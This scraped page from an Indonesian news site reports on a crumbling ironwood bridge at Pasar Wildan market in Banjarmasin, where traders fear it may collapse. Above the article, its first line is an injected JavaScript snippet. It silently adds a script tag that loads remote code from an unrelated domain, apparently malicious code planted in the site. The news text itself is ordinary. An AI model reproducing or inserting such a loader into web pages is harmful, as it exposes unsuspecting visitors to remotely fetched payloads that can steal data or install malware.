(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemandangan tak biasa terlihat di sebuah pasar tradisional di jalan Sutoyo S, Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin.
Pasar Wildan setiap pagi hingga siang hari tidak pernah sepi pengunjung yang ingin mencukupi kebutuhan bahan pokok rumah tangga.
Pasar tersebut berada persis di samping sungai jalan Sutoyo S dan terdapat sebuah jembatan ulin sebagai akses keluar masuk pasar.
Namun, jembatan yang diperkirakan sudah berusia puluhan tahun tersebut kondisinya memprihatinkan dan rawan ambruk.
Baca juga: Pertama di Kalimantan, RSUD Ansari Saleh Buka Layanan Khusus Pasien Luka Bakar
Jembatan ulin yang terletak di Pasar Wildan, Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin. Foto: rizki
Lantai jembatan yang terbuat dari kayu ulin dan sempat dicor semen banyak yang sudah terkelupas menimbulkan beberapa lubang menganga.
Jembatan itu juga digunakan pedagang untuk menggelar lapak dagangannya. Pantauan Kanalkalimantan.com ada belasan pedagang yang berjualan di sisi kiri kanan jembatan.
Pagar yang terbuat dari kayu ulin di sisi kanan dan kiri jembatan terlihat sudah miring, diduga akibat sering digunakan sebagai tempat duduk para pedagang.
Baca juga: PTAM Intan Banjar Diberi Waktu Lima Bulan, Pasokan Air Harus Lancar di Kertak Hanyar
Kai Udin, pedagang yang berjualan kantong kresek kepada Kanalkalimantan.com mengaku sudah lama menempati lapak di jembatan tersebut, dia merasakan kerusakan jembatan sudah lebih dari lima tahun.
Pria paruh baya yang mengenakan topi rimba mengaku cukup khawatir jika sewaktu-waktu jembatan ulin tersebut ambruk saat dirinya tengah berjualan, sebab setiap dilewati kendaraan jembatan selalu bergetar.
“Khawatir sih ada, cuma karena sudah terbiasa,” ungkapnya saat ditemui, Jumat (11/8/2023) siang.
Salah seorang pedagang lainnya, Udin (35) mengaku juga cukup khawatir jika jembatan sewaktu-waktu ambruk sebab usia jembatan yang sudah tua.
Baca juga: Tujuh Tuntutan ke PTAM Intan Banjar, Gratiskan Tarif Pelanggan Terdampak
Jembatan ulin yang terletak di Pasar Wildan, Kelurahan Telaga Biru, Kecamatan Banjarmasin Barat, Kota Banjarmasin. Foto: rizki
“Ya seperti ini lah keadaannya, kalau setiap dilalui kendaraan bergetar jembatannya,” ujarnya.
Awalnya ia mengatakan lantai jembatan tersebut sempat dicor oleh pihak terkait, namun seiring berjalannya waktu semennya terkelupas akibat sering dilewati kendaraan.
Ia bersama pedagang lain berharap pemerintah segera memperbaiki jembatan ulin tersebut untuk menghindari hal-hal yang tidak diinginkan seperti ambruk secara tiba-tiba.
Baca juga: 430 Pemanah Berlaga di Paman Birin Archery Open 2 Competition 2023
“Mudah-mudahan cepat diperbaiki aja,” harapnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.